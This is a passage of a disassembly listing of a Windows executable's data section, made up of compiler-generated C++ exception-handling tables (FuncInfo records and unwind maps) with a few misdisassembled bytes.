		dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h,	11h, 4391BDh, 11h
		dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h,	11h, 4391DDh, 11h
		dd 4391E5h, 8 dup(0)
dword_43F948	dd 19930520h, 11h, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 439260h,	0
		dd offset loc_439268
		dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
		dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
		dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h,	0Dh, 439315h, 0Eh
		dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00	dd 19930520h, 38h, 43FA20h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_43939B
		dd 1, 4393A6h, 0
		dd offset loc_4393B1
		dd 0
		dd offset loc_4393BC
		dd 0
		dd offset loc_4393C7
		dd 0
		dd offset loc_4393D2
		dd 0
		dd offset loc_4393DD
		dd 0
		dd offset loc_4393E8
		dd 0
		dd offset loc_4393F3
		dd 9, 4393FEh, 0
		dd offset loc_439409
		dd 0
		dd offset loc_439414
		dd 0
		dd offset loc_43941F
		dd 0
		dd offset loc_43942A
		dd 0Eh,	439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
		dd 0Eh,	43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
		dd 0
		dd offset loc_439499
		dd 0
		dd offset loc_4394A4
		dd 0
		dd offset loc_4394B2
		dd 0
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebx+eax*2+1A00h], 0
		retf
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 1Bh,	4394D6h, 0
		dd offset loc_4394E1
		dd 1Dh,	4394ECh, 0
		dd offset loc_4394F7
		dd 1Fh,	439502h, 0
		dd offset loc_43950D
		dd 0
		dd offset loc_439518
		dd 0
		dd offset loc_439523
		dd 0
		dd offset loc_43952E
		dd 0
		dd offset loc_439539
		dd 25h,	439544h, 26h, 43954Fh, 0
		dd offset loc_43954F
		dd 28h,	439544h, 0
		dd offset loc_43955A
		dd 0
		dd offset loc_439565
		dd 2Bh,	439570h, 2Ch, 43957Bh, 0
		dd offset loc_43957B
		dd 2Eh,	439570h, 2Eh, 439586h, 0
		dd offset loc_439591
		dd 31h,	43959Ch, 0
		dd offset loc_4395A7
		dd 0
		dd offset loc_4395B2
		dd 34h,	4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10	dd 19930520h, 1, 43FC30h, 5 dup(0)		dd 0FFFFFFFFh, 439670h,	2 dup(0)
dword_43FC40	dd 19930520h, 1, 43FC60h, 5 dup(0)		dd 0FFFFFFFFh, 439690h,	2 dup(0)
dword_43FC70	dd 19930520h, 6, 43FC90h, 5 dup(0)		dd 0FFFFFFFFh, 4396B0h,	0
		dd offset loc_4396B8
		dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8	dd 19930520h, 6, 43FCE8h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	0
		dd offset loc_439718
		dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20	dd 19930520h, 0Ah, 43FD40h, 5 dup(0)		dd 0FFFFFFFFh, 439770h,	0FFFFFFFFh, 439778h, 0FFFFFFFFh
		dd 439780h, 0FFFFFFFFh,	439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
		dd 439798h, 0FFFFFFFFh,	4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
		dd 4397B0h, 0FFFFFFFFh,	4397B8h, 4 dup(0)
dword_43FDA0	dd 19930520h, 0Eh, 43FDC0h, 5 dup(0)		dd 0FFFFFFFFh, 4397E0h,	0
		dd offset loc_4397E8
		dd 0FFFFFFFFh, 4397F3h,	0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
		dd 439803h, 0FFFFFFFFh,	43980Bh, 5, 439816h, 0FFFFFFFFh
		dd 43981Eh, 0FFFFFFFFh,	439826h, 0FFFFFFFFh, 43982Eh, 9
		dd 439839h, 0FFFFFFFFh,	439841h, 0Bh, 439849h, 0Ch, 439851h
		dd 4 dup(0)
dword_43FE40	dd 19930520h, 2, 43FE60h, 5 dup(0)		dd 0FFFFFFFFh, 439898h,	0
		dd offset loc_439890
		dd 2 dup(0)
dword_43FE78	dd 19930520h, 2, 43FE98h, 5 dup(0)		dd 0FFFFFFFFh, 4398D0h,	0
		dd offset loc_4398D8
		align 10h
dword_43FEB0	dd 19930520h, 1, 43FED0h, 5 dup(0)		dd 0FFFFFFFFh, 4398F0h,	2 dup(0)
dword_43FEE0	dd 19930520h, 7, 43FF00h, 5 dup(0)		dd 0FFFFFFFFh, 439910h,	0
		dd offset loc_439918
		dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
		dd 2 dup(0)
dword_43FF40	dd 19930520h, 4, 43FF60h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_43997B
		dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88	dd 19930520h, 4, 43FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 4399C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 99h,	43h, 0
		dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0	dd 19930520h, 2, 43FFF0h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008	dd 19930520h, 1, 440028h, 5 dup(0)		dd 0FFFFFFFFh, 439A30h,	2 dup(0)
dword_440038	dd 19930520h, 1, 440058h, 5 dup(0)		dd 0FFFFFFFFh, 439A50h,	2 dup(0)
dword_440068	dd 19930520h, 2, 440088h, 5 dup(0)		dd 0FFFFFFFFh, 439A70h,	0
		dd offset loc_439A78
		align 10h
dword_4400A0	dd 19930520h, 3, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439A90h,	0
		dd offset loc_439A98
		dd 1, 439AA3h, 2 dup(0)
dword_4400E0	dd 19930520h, 3, 440100h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	0
		dd offset loc_439AD8
		dd 1, 439AE0h, 2 dup(0)
dword_440120	dd 19930520h, 1, 440140h, 5 dup(0)		dd 0FFFFFFFFh, 439B00h,	2 dup(0)
dword_440150	dd 19930520h, 4, 440170h, 5 dup(0)		dd 0FFFFFFFFh, 439B20h,	0
		dd offset loc_439B28
		dd 0
		dd offset loc_439B30
		dd 0
		dd offset loc_439B3B
		dd 2 dup(0)
dword_440198	dd 19930520h, 6, 4401B8h, 5 dup(0)		dd 0FFFFFFFFh, 439B60h,	0
		dd offset loc_439B68
		dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0	dd 19930520h, 3, 440210h, 5 dup(0)		dd 0FFFFFFFFh, 439BB0h,	0
		dd offset loc_439BBB
		dd 1, 439BC6h, 2 dup(0)
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439BF0h,	0
		dd offset loc_439BF8
		dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278	dd 19930520h, 5, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439C30h,	0
		dd offset loc_439C38
		dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8	dd 19930520h, 4, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 439C80h,	0
		dd offset loc_439C88
		dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310	dd 19930520h, 3, 440330h, 5 dup(0)		dd 0FFFFFFFFh, 439CC0h,	0
		dd offset loc_439CC8
		dd 1, 439CD0h, 2 dup(0)
dword_440350	dd 19930520h, 1, 440370h, 5 dup(0)		dd 0FFFFFFFFh, 439CF0h,	2 dup(0)
dword_440380	dd 19930520h, 2, 4403A0h, 5 dup(0)		dd 0FFFFFFFFh, 439D10h,	0
		dd offset loc_439D18
		dd 2 dup(0)
dword_4403B8	dd 19930520h, 2, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	0
		dd offset loc_439D38
		align 10h
dword_4403F0	dd 19930520h, 3, 440410h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	0
		dd offset loc_439D5B
		dd 1, 439D66h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440460	dd 19930520h, 1, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440490	dd 19930520h, 4, 4404B0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8	dd 19930520h, 7, 4404F8h, 5 dup(0)		dd 0FFFFFFFFh, 439E10h,	0FFFFFFFFh, 439E18h, 0FFFFFFFFh
		dd 439E20h, 2, 439E28h,	3, 439E30h, 4, 439E38h,	0FFFFFFFFh
		dd 439E40h, 2 dup(0)
dword_440538	dd 19930520h, 1Bh, 440558h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
		dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
		dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh,	0Dh, 439F2Bh, 0Eh
		dd 439F39h, 0Fh, 439F47h, 10h, 439F55h,	11h, 439F63h, 12h
		dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh,	15h, 439F9Bh, 16h
		dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h,	19h, 439FD3h, 6	dup(0)
dword_440648	dd 19930520h, 1Bh, 440668h, 5 dup(0)		dd 0FFFFFFFFh, 43A050h,	0
		dd offset loc_43A058
		dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
		dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
		dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh,	0Dh, 43A10Bh, 0Eh
		dd 43A119h, 0Fh, 43A127h, 10h, 43A135h,	11h, 43A143h, 12h
		dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh,	15h, 43A17Bh, 16h
		dd 43A189h, 17h, 43A197h, 18h, 43A1A5h,	19h, 43A1B3h, 6	dup(0)
dword_440758	dd 19930520h, 1, 440778h, 5 dup(0)		dd 0FFFFFFFFh, 43A230h,	2 dup(0)
dword_440788	dd 19930520h, 3Dh, 4407A8h, 5 dup(0)		dd 0FFFFFFFFh, 43A250h,	0
		dd offset loc_43A25B
		dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
		dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
		dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h,	0Dh, 43A30Eh, 0Eh
		dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h,	11h, 43A346h, 12h
		dd 43A354h, 13h, 43A362h, 14h, 43A370h,	15h, 43A37Eh, 16h
		dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h,	19h, 43A3B6h, 1Ah
		dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h,	1Dh, 43A3EEh, 1Eh
		dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h,	21h, 43A426h, 22h
		dd 43A434h, 23h, 43A442h, 24h, 43A450h,	25h, 43A45Eh, 26h
		dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h,	29h, 43A496h, 2Ah
		dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h,	2Dh, 43A4CEh, 2Eh
		dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h,	31h, 43A506h, 32h
		dd 43A514h, 33h, 43A522h, 34h, 43A530h,	35h, 43A53Eh, 36h
		dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h,	39h, 43A576h, 3Ah
		dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8	dd 19930520h, 4, 4409E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A680h,	0
		dd offset loc_43A68B
		dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10	dd 19930520h, 6, 440A30h, 5 dup(0)		dd 0FFFFFFFFh, 43A6D0h,	0
		dd offset loc_43A6DB
		dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68	dd 19930520h, 4, 440A88h, 5 dup(0)		dd 0FFFFFFFFh, 43A740h,	0
		dd offset loc_43A74E
		dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0	dd 19930520h, 5, 440AD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A7A0h,	0
		dd offset loc_43A7AB
		dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00	dd 19930520h, 5, 440B20h, 5 dup(0)		dd 0FFFFFFFFh, 43A800h,	0
		dd offset loc_43A80B
		dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50	dd 19930520h, 1, 440B70h, 5 dup(0)		dd 0FFFFFFFFh, 43A860h,	2 dup(0)
dword_440B80	dd 19930520h, 1, 440BA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A880h,	2 dup(0)
dword_440BB0	dd 19930520h, 1, 440BD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	2 dup(0)
dword_440BE0	dd 19930520h, 2, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 43h, 0
		dd 2 dup(0)
dword_440C18	dd 19930520h, 4, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A8F0h,	0
		dd offset loc_43A8FB
		dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60	dd 19930520h, 4, 440C80h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	0
		dd offset loc_43A94B
		dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8	dd 19930520h, 6, 440CC8h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00	dd 19930520h, 4, 440D20h, 5 dup(0)		dd 0FFFFFFFFh, 43AA00h,	0
		dd offset loc_43AA0E
		dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48	dd 19930520h, 5, 440D68h, 5 dup(0)		dd 0FFFFFFFFh, 43AA60h,	0
		dd offset loc_43AA6B
		dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98	dd 19930520h, 5, 440DB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 43h, 0
		dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8	dd 19930520h, 1, 440E08h, 5 dup(0)		dd 0FFFFFFFFh, 43AB20h,	2 dup(0)
dword_440E18	dd 19930520h, 1, 440E38h, 5 dup(0)		dd 0FFFFFFFFh, 43AB40h,	2 dup(0)
dword_440E48	dd 19930520h, 1, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	2 dup(0)
dword_440E78	dd 19930520h, 2, 440E98h, 5 dup(0)		dd 0FFFFFFFFh, 43AB80h,	0
		dd offset loc_43AB8B
		align 10h
dword_440EB0	dd 19930520h, 4, 440ED0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABB0h,	0
		dd offset loc_43ABBB
		dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8	dd 19930520h, 1, 440F18h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440F28	dd 19930520h, 2, 440F48h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		align 10h
dword_440F60	dd 19930520h, 1, 440F80h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	2 dup(0)
dword_440F90	dd 19930520h, 1, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	2 dup(0)
dword_440FC0	dd 19930520h, 2, 440FE0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC90h,	0
		dd offset loc_43AC9B
		dd 2 dup(0)
dword_440FF8	dd 19930520h, 1, 441018h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	2 dup(0)
dword_441028	dd 19930520h, 3, 441048h, 5 dup(0)		dd 0FFFFFFFFh, 43ACE0h,	0
		dd offset loc_43ACF7
		dd 1, 43ACFFh, 2 dup(0)
dword_441068	dd 19930520h, 1, 441088h, 5 dup(0)		dd 0FFFFFFFFh, 43AD20h,	2 dup(0)
dword_441098	dd 19930520h, 4, 4410B8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD48h,	0
		dd offset sub_43AD40
		dd 0
		dd offset loc_43AD5F
		dd 2, 43AD67h, 2 dup(0)
dword_4410E0	dd 19930520h, 6, 441100h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
		dd 43ADA0h, 0FFFFFFFFh,	43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
		dd 43ADB8h, 2 dup(0)
dword_441138	dd 19930520h, 1Ah, 441158h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE0h,	0
		dd offset loc_43ADEB
		dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
		dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
		dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
		dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
		dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240	dd 19930520h, 4, 441260h, 5 dup(0)		dd 0FFFFFFFFh, 43AF70h,	0
		dd offset loc_43AF78
		dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288	dd 19930520h, 4, 4412A8h, 5 dup(0)		dd 0FFFFFFFFh, 43AFB0h,	0
		dd offset loc_43AFB8
		dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0	dd 19930520h, 6, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	0
		dd offset loc_43AFF8
		dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328	dd 19930520h, 6, 441348h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380	dd 19930520h, 6, 4413A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
		dd 43B0C6h, 2, 43B0D1h,	3, 43B0DCh, 2, 43B0E7h,	2 dup(0)
dword_4413D8	dd 19930520h, 3, 4413F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2 dup(0)
dword_441418	dd 19930520h, 5, 441438h, 5 dup(0)		dd 0FFFFFFFFh, 43B140h,	0FFFFFFFFh, 43B148h, 0FFFFFFFFh
		dd 43B150h, 0FFFFFFFFh,	43B158h, 0FFFFFFFFh, 43B160h, 2	dup(0)
dword_441468	dd 19930520h, 0Ch, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B180h,	0
		dd offset loc_43B188
		dd 0FFFFFFFFh, 43B190h,	0FFFFFFFFh, 43B198h, 0FFFFFFFFh
		dd 43B1A0h, 0FFFFFFFFh,	43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
		dd 43B1B8h, 0FFFFFFFFh,	43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
		dd 43B1D0h, 0FFFFFFFFh,	43B1D8h, 4 dup(0)
dword_4414F8	dd 19930520h, 2, 441518h, 1, 441528h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441540h, 4	dup(0)
		dd offset loc_41EE2C
		dd 2 dup(0)
dword_441558	dd 19930520h, 0Ah, 441578h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B22B
		dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
		dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8	dd 19930520h, 2, 4415F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
		dd offset loc_43B2C8
		align 10h
dword_441610	dd 19930520h, 3, 441630h, 5 dup(0)		dd 0FFFFFFFFh, 43B2E0h,	0FFFFFFFFh, 43B2EBh, 1,	43B2F6h
		dd 2 dup(0)
dword_441650	dd 19930520h, 1, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B320h,	2 dup(0)
dword_441680	dd 19930520h, 2, 4416A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B340h,	0
		dd offset loc_43B34B
		dd 2 dup(0)
dword_4416B8	dd 19930520h, 16h, 4416D8h, 5 dup(0)		dd 0FFFFFFFFh, 43B370h,	0
		dd offset loc_43B37B
		dd 0
		dd offset loc_43B383
		dd 0
		dd offset loc_43B38B
		dd 3, 43B393h, 4, 43B39Bh, 0
		dd offset loc_43B3A3
		dd 6, 43B3ABh, 7, 43B3B3h, 0
		dd offset loc_43B3BB
		dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
		dd offset loc_43B3D3
		dd 0Ch,	43B3DBh, 0Dh, 43B3E3h, 0
		dd offset loc_43B3EB
		dd 0Fh,	43B3F3h, 0
		dd offset loc_43B3FB
		dd 11h,	43B403h, 0
		dd offset loc_43B40B
		dd 13h,	43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0	dd 19930520h, 1, 4417C0h, 5 dup(0)		dd 0FFFFFFFFh, 43B460h,	2 dup(0)
dword_4417D0	dd 19930520h, 1, 4417F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B490h,	2 dup(0)
dword_441800	dd 19930520h, 5, 441820h, 5 dup(0)		dd 0FFFFFFFFh, 43B4C0h,	0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
		dd 43B4D0h, 0FFFFFFFFh,	43B4D8h, 0FFFFFFFFh, 43B4E0h, 2	dup(0)
dword_441850	dd 19930520h, 0Bh, 441870h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
		dd 43B521h, 0FFFFFFFFh,	43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
		dd 43B542h, 0FFFFFFFFh,	43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
		dd 43B563h, 0FFFFFFFFh,	43B56Eh, 0FFFFFFFFh, 43B516h, 4	dup(0)
dword_4418D8	dd 19930520h, 5, 4418F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B5B0h,	0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
		dd 43B5C0h, 0FFFFFFFFh,	43B5C8h, 0FFFFFFFFh, 43B5D0h, 2	dup(0)
dword_441928	dd 19930520h, 15h, 441948h, 5 dup(0)		dd 0FFFFFFFFh, 43B5F0h,	0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
		dd 43B61Bh, 0FFFFFFFFh,	43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
		dd 43B636h, 0FFFFFFFFh,	43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
		dd 43B651h, 0FFFFFFFFh,	43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
		dd 43B669h, 0FFFFFFFFh,	43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
		dd 43B684h, 0FFFFFFFFh,	43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
		dd 43B69Ch, 6 dup(0)
dword_441A08	dd 19930520h, 1, 441A28h, 5 dup(0)		dd 0FFFFFFFFh, 43B6E0h,	2 dup(0)
dword_441A38	dd 19930520h, 5, 441A58h, 5 dup(0)		dd 0FFFFFFFFh, 43B700h,	0
		dd offset loc_43B708
		dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88	dd 19930520h, 5, 441AA8h, 5 dup(0)		dd 0FFFFFFFFh, 43B750h,	0
		dd offset loc_43B758
		dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8	dd 19930520h, 1, 441AF8h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	2 dup(0)
dword_441B08	dd 19930520h, 1, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43B7C0h,	2 dup(0)
dword_441B38	dd 19930520h, 1, 441B58h, 5 dup(0)		dd 0FFFFFFFFh, 43B7E0h,	2 dup(0)
dword_441B68	dd 19930520h, 1, 441B88h, 5 dup(0)		dd 0FFFFFFFFh, 43B800h,	2 dup(0)
dword_441B98	dd 19930520h, 1, 441BB8h, 5 dup(0)		dd 0FFFFFFFFh, 43B820h,	2 dup(0)
dword_441BC8	dd 19930520h, 1, 441BE8h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441BF8	dd 19930520h, 1, 441C18h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441C28	dd 19930520h, 1, 441C48h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441C58	dd 19930520h, 6, 441C78h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	0
		dd offset loc_43B8A8
		dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	0
		dd offset loc_43B908
		dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08	dd 19930520h, 3, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43B960h,	0
		dd offset loc_43B968
		dd 1, 43B976h, 2 dup(0)
dword_441D48	dd 19930520h, 16h, 441D68h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9AB
		dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
		dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
		dd 43BA19h, 2, 43BA24h,	0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
		dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh,	0Fh, 43BA66h, 0Fh
		dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h,	6 dup(0)
dword_441E30	dd 19930520h, 1, 441E50h, 5 dup(0)		dd 0FFFFFFFFh, 43BAE0h,	2 dup(0)
dword_441E60	dd 19930520h, 1, 441E80h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	2 dup(0)
dword_441E90	dd 19930520h, 1, 441EB0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB20h,	2 dup(0)
dword_441EC0	dd 19930520h, 1, 441EE0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB40h,	2 dup(0)
dword_441EF0	dd 19930520h, 1, 441F10h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441F20	dd 19930520h, 2, 441F40h, 1, 441F50h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F68h, 4	dup(0)
		dd offset loc_42AF54
		align 10h
dword_441F80	dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FC8h, 4	dup(0)
		dd offset loc_42B031
		align 10h
dword_441FE0	dd 19930520h, 3, 442000h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	0
		dd offset loc_43BBA8
		dd 1, 43BBB0h, 2 dup(0)
dword_442020	dd 19930520h, 1, 442040h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_442050	dd 19930520h, 1, 442070h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
